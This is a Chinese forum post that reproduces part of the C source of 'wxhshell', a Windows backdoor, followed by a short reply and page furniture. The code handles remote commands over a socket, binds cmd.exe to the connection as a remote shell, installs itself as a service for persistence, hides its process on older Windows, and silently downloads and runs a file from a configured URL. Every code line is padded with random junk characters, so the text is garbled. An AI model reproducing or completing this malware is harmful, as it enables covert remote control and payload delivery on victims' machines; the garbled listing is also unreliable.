  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BBwy,\o#  
  } r\'A i6  
  else { ) l:[^$=,  
iJ1"at  
    switch(cmd[0]) { 3TeY%5iVt  
  vqDu(6!2  
  // 帮助 su{poQ}K  
  case '?': { P3+5?.p.  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4%>$-($  
    break; mwHB(7YS,  
  } $P^q!H4D  
  // 安装 < $lCkSx<Q  
  case 'i': { N4F.Y"R$(  
    if(Install()) 6xTuNE1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MyJ%`@+1  
    else {?}E^5Z*g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0zmE>/O+  
    break;  *x@Onj  
    } .WA-&b_  
  // 卸载 CQF:Rnb  
  case 'r': { 5Ha9lM2gh  
    if(Uninstall()) 5q3JI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gmw|H?]  
    else cQCSe,$ W  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SJb&m-  
    break; . qO@Q=  
    } 2_HNhW  
  // 显示 wxhshell 所在路径 qkDI](4  
  case 'p': { ^c"jH'#.L  
    char svExeFile[MAX_PATH]; '3 /4?wi  
    strcpy(svExeFile,"\n\r"); vdivq^%=a  
      strcat(svExeFile,ExeFile); {6|38$Rl  
        send(wsh,svExeFile,strlen(svExeFile),0); Y!-M_v/  
    break; 46_xyz3+  
    } _.tVSV p  
  // 重启 =_JjmTy;a  
  case 'b': { mqD}BOif  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,<(}|go   
    if(Boot(REBOOT)) :}'=`wa  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #A1%gIw<v2  
    else { 9-&Ttbb4)0  
    closesocket(wsh); sJL&:!}V>  
    ExitThread(0); ^oBtfN>4  
    } tqE6>"jD  
    break; c}lb%^;)E  
    } \)#kquH/l  
  // 关机 1H? u Qy  
  case 'd': { I&#| w"/"U  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); x nsLf?>]  
    if(Boot(SHUTDOWN)) AifWf2$S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <'y?KiphL  
    else { cOmw?kA*G  
    closesocket(wsh); n9W(bG o  
    ExitThread(0); oK6tTK  
    } Q{sH3Y#l  
    break; #xsE3Wj-X  
    } 4[m`#  
  // 获取shell \ub7`01  
  case 's': { % L$bf#  
    CmdShell(wsh); {f/~1G[M  
    closesocket(wsh); k+# %DK  
    ExitThread(0); _C%3h5  
    break; Ta ZmRL  
  } !"?#6-,Xn  
  // 退出 :3v}kLO7|  
  case 'x': { s Ep"D+f  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); R1adWBD>  
    CloseIt(wsh); + [iQLM?zo  
    break; 132{# tG]  
    } }|0^EWL  
  // 离开 2J7:\pR^  
  case 'q': { d[@X%  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); {j.bC@hWw  
    closesocket(wsh); Ec3}_`  
    WSACleanup(); |7'df&CA  
    exit(1); *v;2PP[^  
    break; -u6bAQ  
        } \ :%(q/v"X  
  } T,,WoPU8t  
  } a#cCpE  
k3lS8d7  
  // 提示信息 bn|I> e  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); CKYc\<zR0l  
} :%l TU  
  } }MJy +Z8&  
Ec!"O3%!M^  
  return; 8bTn^!1  
} RuL i,'u  
Sj%u)#Ub  
// shell模块句柄 <T` 7%$/E  
int CmdShell(SOCKET sock) ($q-_m  
{ "Gsc;X'id  
STARTUPINFO si; *>Ns_su7W  
ZeroMemory(&si,sizeof(si)); i?p$H0b n  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |kyX3~  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~8q)^vm>f?  
PROCESS_INFORMATION ProcessInfo; [+rfAW>p}  
char cmdline[]="cmd"; >6ni")Q9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  :|>h7v  
  return 0; G)EU_UE 9  
} 8zZvht*  
3@etRd;]Kr  
// 自身启动模式 \\iQEy<i  
int StartFromService(void) &PR5q 7  
{ rN<0 R`4sE  
typedef struct R3 -n>V5o  
{ lUOF4U&r  
  DWORD ExitStatus; [T8WThs  
  DWORD PebBaseAddress; }~YA5^VQ$  
  DWORD AffinityMask; NH[kNi'  
  DWORD BasePriority; lEH65;Nh*  
  ULONG UniqueProcessId; 1T"`v tR  
  ULONG InheritedFromUniqueProcessId; F|'>NL-=  
}   PROCESS_BASIC_INFORMATION; kjTduZ/3 "  
AHD=<7Rs  
PROCNTQSIP NtQueryInformationProcess; ]0Y4U7W  
,82S=N5V!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; A!od9W6  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 52@C9Q,  
]i|h(>QWP  
  HANDLE             hProcess; cq,SP&T~  
  PROCESS_BASIC_INFORMATION pbi; :tz#v`3o  
*z5.vtfu!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .<->C?#  
  if(NULL == hInst ) return 0; 4X!/hI=jq  
7BE>RE=)  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0eT(J7[ <  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); LoURC$lS  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); UE8kpa)cQ  
vk}n,ecl  
  if (!NtQueryInformationProcess) return 0; OSRp0G20k\  
ahJ`T*)HY  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); L ^r#o-H<  
  if(!hProcess) return 0; 1vS#K=sb  
Ow+GS{-q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; LD+{o4i  
216RiSr*  
  CloseHandle(hProcess); TJ2=m 9Z  
{0[tNth'h  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >BV^H.SO|1  
if(hProcess==NULL) return 0; x) ,eI'mf  
]3D0R;  
HMODULE hMod; b_$4V3TA  
char procName[255]; AiwOc+R  
unsigned long cbNeeded; tP:lP#9  
BOX{]EOj  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [zH:1Zhl&  
ncZ+gzK|"  
  CloseHandle(hProcess); 3OrczJ=[UF  
F8nYV  
if(strstr(procName,"services")) return 1; // 以服务启动 >"??!|XG^  
e6`Jbu+J<f  
  return 0; // 注册表启动 jte.Xy~g  
} 6gL #C&  
_?-E7:Sw  
// 主模块 j@AIK+0Qc  
int StartWxhshell(LPSTR lpCmdLine) 5GI,o|[s6  
{ D@,6M#SK  
  SOCKET wsl; BnX0G1|#  
BOOL val=TRUE; S4Pxc ]!  
  int port=0; TYy?KG>:'  
  struct sockaddr_in door; eVEV}`X  
4n#M  
  if(wscfg.ws_autoins) Install(); .8 2P(}h  
XD!W: uvb  
port=atoi(lpCmdLine); l3{-z4mw  
?U%qPv:  
if(port<=0) port=wscfg.ws_port; >1.X*gi?-  
dph{74Dc  
  WSADATA data; ])[[ V!1  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; OyStqi  
)\1QJ$-M&  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   KKb,d0T[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); IY_iB*T3jt  
  door.sin_family = AF_INET; ]P9l jwR  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); B |5]Jm]  
  door.sin_port = htons(port); 4(#'_jS  
1NbG>E#Ol  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { R6 y#S&]x  
closesocket(wsl); ^+*N%yr  
return 1; 5 )A1\  
} fZ6MSAh  
|5X^u+_  
  if(listen(wsl,2) == INVALID_SOCKET) { jSJqE _1  
closesocket(wsl); y|jl[pyg)  
return 1; [ZNtCnv  
} zKyyU}LHH  
  Wxhshell(wsl); b10cuy|a/X  
  WSACleanup(); tl[Uw[  
P:hBt\5B  
return 0; <kfnpB=  
({ +!`}GY  
} /?wtF4  
nyX2|m&  
// 以NT服务方式启动 OstQqV%@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) GiJ *Wp  
{ Oz w.siD  
DWORD   status = 0; I!ED?n  
  DWORD   specificError = 0xfffffff; jkQ*D(;p  
t^UxR@l<K|  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ud63f` W]4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; JL`-0P<M  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; z$&{:\hj  
  serviceStatus.dwWin32ExitCode     = 0; aKJwofD  
  serviceStatus.dwServiceSpecificExitCode = 0; L{#IT.  
  serviceStatus.dwCheckPoint       = 0; \J4L:.`qS  
  serviceStatus.dwWaitHint       = 0; t DO=P c  
<h!_>:2L  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =R^%(Py  
  if (hServiceStatusHandle==0) return; O24m;oHM  
99]R$eT8  
status = GetLastError(); \/93Dz  
  if (status!=NO_ERROR) SDC4L <!  
{ R1s`z|?  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; AKY1o.>z  
    serviceStatus.dwCheckPoint       = 0; Mhm@R@  
    serviceStatus.dwWaitHint       = 0; 1]d!~  
    serviceStatus.dwWin32ExitCode     = status; ,D5cjaX<  
    serviceStatus.dwServiceSpecificExitCode = specificError; d}Xr}  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); fIM,lt  
    return; )n1_(;  
  } /~DI 6g  
FX;QG94!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; O 5!7'RZ  
  serviceStatus.dwCheckPoint       = 0; _;W.q7 b]  
  serviceStatus.dwWaitHint       = 0; {k(g]#pP  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); hMa]B*o/-  
} u/UrAqw  
@Rg/~\K  
// 处理NT服务事件,比如:启动、停止  nI[os  
VOID WINAPI NTServiceHandler(DWORD fdwControl) G5{T5#  
{ xv46r=>  
switch(fdwControl) O8f?; ]  
{ *HU &4E\a  
case SERVICE_CONTROL_STOP: l(yZO$  
  serviceStatus.dwWin32ExitCode = 0; adlV!k7RG  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -TLlwxc^%  
  serviceStatus.dwCheckPoint   = 0; I"xo*}  
  serviceStatus.dwWaitHint     = 0; BIH-"vTy  
  { O6@j &*jS  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,1hxw<sNR  
  } .4S.>~^7  
  return; JX<)EZ!F  
case SERVICE_CONTROL_PAUSE: }?lrU.@zg  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 1kz\IQ{  
  break; G%BjhpL  
case SERVICE_CONTROL_CONTINUE: 2L!u1  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; V#v`(j%  
  break; b}\N;D.{  
case SERVICE_CONTROL_INTERROGATE: evenq$ H  
  break; 6=kEyJT'  
}; L]yS[UN$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {GvJZ!,RCg  
} SfA\}@3  
SQ@y;|(  
// 标准应用程序主函数 x;w6na  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) CJtcn_.F  
{ .b_)%jd x  
y@1+I ~@  
// 获取操作系统版本 #HYr0Tw6`  
OsIsNt=GetOsVer(); 2{D{sa  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 85>05 ?  
.GbX]?dN  
  // 从命令行安装 W=lyIb{?^0  
  if(strpbrk(lpCmdLine,"iI")) Install(); mD/9J5:  
@efh{  
  // 下载执行文件 "_P;2N6  
if(wscfg.ws_downexe) { 0*VWzH   
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) q$p%ZefZ  
  WinExec(wscfg.ws_filenam,SW_HIDE); +\x,HsUc"  
} [2>yYr s_=  
U] ~$g}!)  
if(!OsIsNt) { (DJ"WG  
// 如果时win9x,隐藏进程并且设置为注册表启动 RPwbTAl}  
HideProc(); C,wL0Yj[  
StartWxhshell(lpCmdLine); 0;hqIJcE:\  
} +00b)TF  
else UMv.{iEj  
  if(StartFromService()) dA#Q}.*r  
  // 以服务方式启动 Q_1:tW &  
  StartServiceCtrlDispatcher(DispatchTable); m&xW6!x  
else +ndaLhj'  
  // 普通方式启动 Y)1PB+  
  StartWxhshell(lpCmdLine); lvdf^b/ j  
?U%QG5/>  
return 0; v>:Ur}u!D  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
10+5=?,请输入中文答案:十五